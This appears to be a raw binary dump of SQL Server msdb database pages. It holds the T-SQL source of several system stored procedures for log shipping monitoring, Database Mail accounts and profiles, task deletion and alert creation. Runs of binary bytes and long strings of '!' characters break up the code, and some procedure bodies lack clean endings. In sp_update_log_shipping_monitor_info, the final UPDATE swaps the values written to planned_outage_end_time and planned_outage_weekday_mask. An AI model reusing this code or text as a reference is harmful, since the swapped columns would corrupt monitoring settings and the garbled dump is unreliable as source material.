!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Cax/`<* MeQ}>0d@ M8CREATE PROCEDURE sp_update_log_shipping_monitor_info
  @primary_server_name                 sysname,
  @primary_database_name               sysname,
  @secondary_server_name               sysname,
  @secondary_database_name             sysname,
  @backup_threshold                    INT = NULL,
  @backup_threshold_alert              INT = NULL,
  @backup_threshold_alert_enabled      BIT = NULL,
  @backup_outage_start_time            INT = NULL,
  @backup_outage_end_time              INT = NULL,
  @backup_outage_weekday_mask          INT = NULL,
  @copy_enabled                        BIT = NULL,
  @load_enabled                        BIT = NULL,
  @out_of_sync_threshold               INT = NULL,
  @out_of_sync_threshold_alert         INT = NULL,
  @out_of_sync_threshold_alert_enabled BIT = NULL,
  @out_of_sync_outage_start_time       INT = NULL,
  @out_of_sync_outage_end_time         INT = NULL,
  @out_of_sync_outage_weekday_mask     INT = NULL
AS BEGIN
  SET NOCOUNT ON
  DECLARE @_backup_threshold                    INT
  DECLARE @_backup_threshold_alert              INT
  DECLARE @_backup_threshold_alert_enabled      BIT
  DECLARE @_backup_outage_start_time            INT
  DECLARE @_backup_outage_end_time              INT
  DECLARE @_backup_outage_weekday_mask          INT
  DECLARE @_copy_enabled                        BIT
  DECLARE @_load_enabled                        BIT
  DECLARE @_out_of_sync_threshold               INT
  DECLARE @_out_of_sync_threshold_alert         INT
  DECLARE @_out_of_sync_threshold_alert_enabled BIT
  DECLARE @_out_of_sync_outage_start_time       INT
  DECLARE @_out_of_sync_outage_end_time         INT
  DECLARE @_out_of_sync_outage_weekday_mask     INT

  -- check that the primary exists
  IF (NOT EXISTS (SELECT * FROM msdb.dbo.log_shipping_primaries WHERE primary_server_name = @primary_server_name AND primary_database_name = @primary_database_name))
  BEGIN
    DECLARE @pp sysname
    SELECT @pp = @primary_server_name + N'.' + @primary_database_name
    RAISERROR (14262, 16, 1, N'primary_server_name.primary_database_name', @pp)
    RETURN (1) -- error
  END

  -- check that the secondary exists
  IF (NOT EXISTS (SELECT * FROM msdb.dbo.log_shipping_secondaries WHERE secondary_server_name = @secondary_server_name AND secondary_database_name = @secondary_database_name))
  BEGIN
    DECLARE @sp sysname
    SELECT @sp = @secondary_server_name + N'.' + @secondary_database_name
    RAISERROR (14262, 16, 1, N'secondary_server_name.secondary_database_name', @sp)
    RETURN (1) -- error
  END

  -- load the original variables

 SELECT
    @_backup_threshold                    = backup_threshold,
    @_backup_threshold_alert              = p.threshold_alert,
    @_backup_threshold_alert_enabled      = p.threshold_alert_enabled,
    @_backup_outage_start_time            = p.planned_outage_start_time,
    @_backup_outage_end_time              = p.planned_outage_end_time,
    @_backup_outage_weekday_mask          = p.planned_outage_weekday_mask,
    @_copy_enabled                        = copy_enabled,
    @_load_enabled                        = load_enabled,
    @_out_of_sync_threshold               = out_of_sync_threshold,
    @_out_of_sync_threshold_alert         = s.threshold_alert,
    @_out_of_sync_threshold_alert_enabled = s.threshold_alert_enabled,
    @_out_of_sync_outage_start_time       = s.planned_outage_start_time,
    @_out_of_sync_outage_weekday_mask     = s.planned_outage_weekday_mask,
    @_out_of_sync_outage_end_time         = s.planned_outage_end_time
  FROM msdb.dbo.log_shipping_primaries p, msdb.dbo.log_shipping_secondaries s
  WHERE 
    p.primary_id            = s.primary_id           AND
    primary_server_name     = @primary_server_name   AND
    primary_database_name   = @primary_database_name AND
    secondary_server_name   = @secondary_server_name AND
    secondary_database_name = @secondary_database_name

  SELECT @_backup_threshold                    = ISNULL (@backup_threshold,                    @_backup_threshold)
  SELECT @_backup_threshold_alert              = ISNULL (@backup_threshold_alert,              @_backup_threshold_alert)
  SELECT @_backup_threshold_alert_enabled      = ISNULL (@backup_threshold_alert_enabled,      @_backup_threshold_alert_enabled)
  SELECT @_backup_outage_start_time            = ISNULL (@backup_outage_start_time,            @_backup_outage_start_time)
  SELECT @_backup_outage_end_time              = ISNULL (@backup_outage_end_time,              @_backup_outage_end_time)
  SELECT @_backup_outage_weekday_mask          = ISNULL (@backup_outage_weekday_mask,          @_backup_outage_weekday_mask)
  SELECT @_copy_enabled                        = ISNULL (@copy_enabled,                        @_copy_enabled)
  SELECT @_load_enabled                        = ISNULL (@load_enabled,                        @_load_enabled)
  SELECT @_out_of_sync_threshold               = ISNULL (@out_of_sync_threshold,               @_out_of_sync_threshold)
  SELECT @_out_of_sync_threshold_alert         = ISNULL (@out_of_sync_threshold_alert,         @_out_of_sync_threshold_alert)
  SELECT @_out_of_sync_threshold_alert_enabled = ISNULL (@out_of_sync_threshold_alert_enabled, @_out_of_sync_threshold_alert_enabled)
  SELECT @_out_of_sync_outage_start_time       = ISNULL (@out_of_sync_outage_start_time,       @_out_of_sync_outage_start_time)
  SELECT @_out_of_sync_outage_end_time         = ISNULL (@out_of_sync_outage_end_time,         @_out_of_sync_outage_end_time)
  SELECT @_out_of_sync_outage_weekday_mask     = ISNULL (@out_of_sync_outage_weekday_mask,     @_out_of_sync_outage_weekday_mask)

  -- updates
  UPDATE msdb.dbo.log_shipping_primaries SET
    backup_threshold            = @_backup_threshold,
    threshold_alert             = @_backup_threshold_alert,
    threshold_alert_enabled     = @_backup_threshold_alert_enabled,
    planned_outage_start_time   = @_backup_outage_start_time,
    planned_outage_end_time     = @_backup_outage_end_time,
    planned_outage_weekday_mask = @_backup_outage_weekday_mask
  WHERE primary_server_name = @primary_server_name AND primary_database_name = @primary_database_name

  UPDATE msdb.dbo.log_shipping_secondaries SET
    copy_enabled                = @_copy_enabled,
    load_enabled                = @_load_enabled,
    out_of_sync_threshold       = @_out_of_sync_threshold,
    threshold_alert             = @_out_of_sync_threshold_alert,
    threshold_alert_enabled     = @_out_of_sync_threshold_alert_enabled,
    planned_outage_start_time   = @_out_of_sync_outage_start_time,
    planned_outage_end_time     = @_out_of_sync_outage_weekday_mask,
    planned_outage_weekday_mask = @_out_of_sync_outage_end_time
  WHERE secondary_server_name = @secondary_server_name AND secondary_database_name = @secondary_database_name
RETURN(0)
END
0?d %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<!I9H0ig@ 8
CREATE PROCEDURE dbo.sysmail_help_account_sp
   @account_id int = NULL,
   @account_name sysname = NULL
AS
   SET NOCOUNT ON

   DECLARE @rc int
   DECLARE @accountid int
   exec @rc = msdb.dbo.sysmail_verify_account_sp @account_id, @account_name, 1, 0, @accountid OUTPUT
   IF @rc <> 0
      RETURN(1)

   IF (@accountid IS NOT NULL)
      SELECT a.account_id, a.name, a.description, a.email_address, a.display_name, a.replyto_address, s.servertype, s.servername, s.port, s.username, s.use_default_credentials, s.enable_ssl 
      FROM msdb.dbo.sysmail_account a, msdb.dbo.sysmail_server s
      WHERE a.account_id = s.account_id AND a.account_id = @accountid
      
   ELSE
      SELECT a.account_id, a.name, a.description, a.email_address, a.display_name, a.replyto_address, s.servertype, s.servername, s.port, s.username, s.use_default_credentials, s.enable_ssl
      FROM msdb.dbo.sysmail_account a, msdb.dbo.sysmail_server s
      WHERE a.account_id = s.account_id

   RETURN(0)
0sh H
8
CREATE PROCEDURE sp_droptask
  @name      sysname = NULL, -- Was VARCHAR(100) in 6.x
  @loginname sysname = NULL, -- Was VARCHAR(30) in 6.x
  @id        INT     = NULL
AS
BEGIN
  DECLARE @retval INT
  DECLARE @job_id UNIQUEIDENTIFIER
  DECLARE @category_id int

  SET NOCOUNT ON

  IF ((@name      IS NULL)     AND (@id    IS NULL)     AND (@loginname IS NULL)) OR
     ((@name      IS NOT NULL) AND ((@id   IS NOT NULL) OR  (@loginname IS NOT NULL))) OR
     ((@id        IS NOT NULL) AND ((@name IS NOT NULL) OR  (@loginname IS NOT NULL))) OR
     ((@loginname IS NOT NULL) AND ((@name IS NOT NULL) OR  (@id        IS NOT NULL)))
  BEGIN
    RAISERROR(14245, -1, -1)
    RETURN(1) -- Failure
  END

  -- If the name is supplied, get the job_id directly from sysjobs
  IF (@name IS NOT NULL)
  BEGIN
    -- Check if the name is ambiguous
    IF ((SELECT COUNT(*)
         FROM msdb.dbo.sysjobs_view
         WHERE (name = @name)) > 1)
    BEGIN
      RAISERROR(14292, -1, -1, @name, '@id', '@name')
      RETURN(1) -- Failure
    END

    SELECT @job_id = job_id, @category_id = category_id
    FROM msdb.dbo.sysjobs_view
    WHERE (name = @name)

    SELECT @id = task_id
    FROM msdb.dbo.systaskids
    WHERE (job_id = @job_id)

    IF (@job_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@name', @name)
      RETURN(1) -- Failure
    END
  END

  -- If the id is supplied lookup the corresponding job_id from systaskids
  IF (@id IS NOT NULL)
  BEGIN
    SELECT @job_id = job_id
    FROM msdb.dbo.systaskids
    WHERE (task_id = @id)

    -- Check that the job still exists
    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.sysjobs_view
                    WHERE (job_id = @job_id)))
    BEGIN
      SELECT @name = CONVERT(NVARCHAR, @id)
      RAISERROR(14262, -1, -1, '@id', @name)
      RETURN(1) -- Failure
    END

    -- Get the name of this job
    SELECT @name = name, @category_id = category_id
    FROM msdb.dbo.sysjobs_view
    WHERE (job_id = @job_id)
  END

  -- Delete the specific job
  IF (@name IS NOT NULL)
  BEGIN
    BEGIN TRANSACTION

    DELETE FROM msdb.dbo.systaskids
    WHERE (job_id = @job_id)
    EXECUTE @retval = sp_delete_job @job_id = @job_id
    IF (@retval <> 0)
   BEGIN
      ROLLBACK TRANSACTION
     GOTO Quit
   END

   -- If a Logreader or Snapshot task, delete corresponding replication agent information
   IF @category_id = 13 or @category_id = 15
   BEGIN
        EXECUTE @retval = sp_MSdrop_6x_replication_agent @job_id, @category_id
     IF (@retval <> 0)
     BEGIN
      ROLLBACK TRANSACTION
      GOTO Quit
     END
   END

    COMMIT TRANSACTION
  END

  -- Delete all jobs belonging to the specified login
  IF (@loginname IS NOT NULL)
  BEGIN
    BEGIN TRANSACTION

    DELETE FROM msdb.dbo.systaskids
    WHERE job_id IN (SELECT job_id
                     FROM msdb.dbo.sysjobs_view
                     WHERE (owner_sid = SUSER_SID(@loginname)))
    EXECUTE @retval = sp_manage_jobs_by_login @action = 'DELETE',
                                              @current_owner_login_name = @loginname
    IF (@retval <> 0)
    BEGIN
      ROLLBACK TRANSACTION
      GOTO Quit
    END     

    COMMIT TRANSACTION
  END

Quit:
  RETURN(@retval) -- 0 means success

END
0eg '8((0.0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!r`<e
"I;40.ֺj 8
CREATE PROCEDURE dbo.sysmail_update_profileaccount_sp
   @profile_id int = NULL, -- must provide id or name
   @profile_name sysname = NULL,
   @account_id int = NULL, -- must provide id or name
   @account_name sysname = NULL,
   @sequence_number int -- account with the lowest sequence number is picked as default
AS
   SET NOCOUNT ON

   DECLARE @rc int
   DECLARE @profileid int
   DECLARE @accountid int

   exec @rc = msdb.dbo.sysmail_verify_profile_sp @profile_id, @profile_name, 0, 0, @profileid OUTPUT
   IF @rc <> 0
      RETURN(1)

   exec @rc = msdb.dbo.sysmail_verify_account_sp @account_id, @account_name, 0, 0, @accountid OUTPUT
   IF @rc <> 0
      RETURN(2)

   IF (@sequence_number IS NULL)
   BEGIN
      RAISERROR(14611, -1, -1)   
      RETURN(3)
   END
   
   UPDATE msdb.dbo.sysmail_profileaccount
   SET sequence_number=@sequence_number
   WHERE profile_id=@profileid AND account_id=@accountid
   
   RETURN(0)
0Xj 8CREATE PROCEDURE sp_add_alert
  @name                         sysname,
  @message_id                   INT              = 0,
  @severity                     INT              = 0,
  @enabled                      TINYINT          = 1,
  @delay_between_responses      INT              = 0,
  @notification_message         NVARCHAR(512)    = NULL,
  @include_event_description_in TINYINT          = 5,    -- 0 = None, 1 = Email, 2 = Pager, 4 = NetSend, 7 = All
  @database_name                sysname          = NULL,
  @event_description_keyword    NVARCHAR(100)    = NULL,
  @job_id                       UNIQUEIDENTIFIER = NULL, -- If provided must NOT also provide job_name
  @job_name                     sysname          = NULL, -- If provided must NOT also provide job_id
  @raise_snmp_trap              TINYINT          = 0,
  @performance_condition        NVARCHAR(512)    = NULL, -- New for 7.0
  @category_name                sysname          = NULL, -- New for 7.0
  @wmi_namespace                sysname             = NULL, -- New for 9.0
  @wmi_query                    NVARCHAR(512)     = NULL  -- New for 9.0
AS
BEGIN
  DECLARE @verify_alert         INT
  
  --Always verify alerts before adding
  SELECT @verify_alert = 1

  EXECUTE msdb.dbo.sp_add_alert_internal @name,
                                         @message_id,
                                         @severity,
                                         @enabled,
                                         @delay_between_responses,
                                         @notification_message,
                                         @include_event_description_in,
                                         @database_name,
                                         @event_description_keyword,
                                         @job_id,
                                         @job_name,
                                         @raise_snmp_trap,
                                         @performance_condition,
                                         @category_name,
                                         @wmi_namespace,
                                         @wmi_query,
                                         @verify_alert
END
0k +8(getdate())0j '8((0.0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!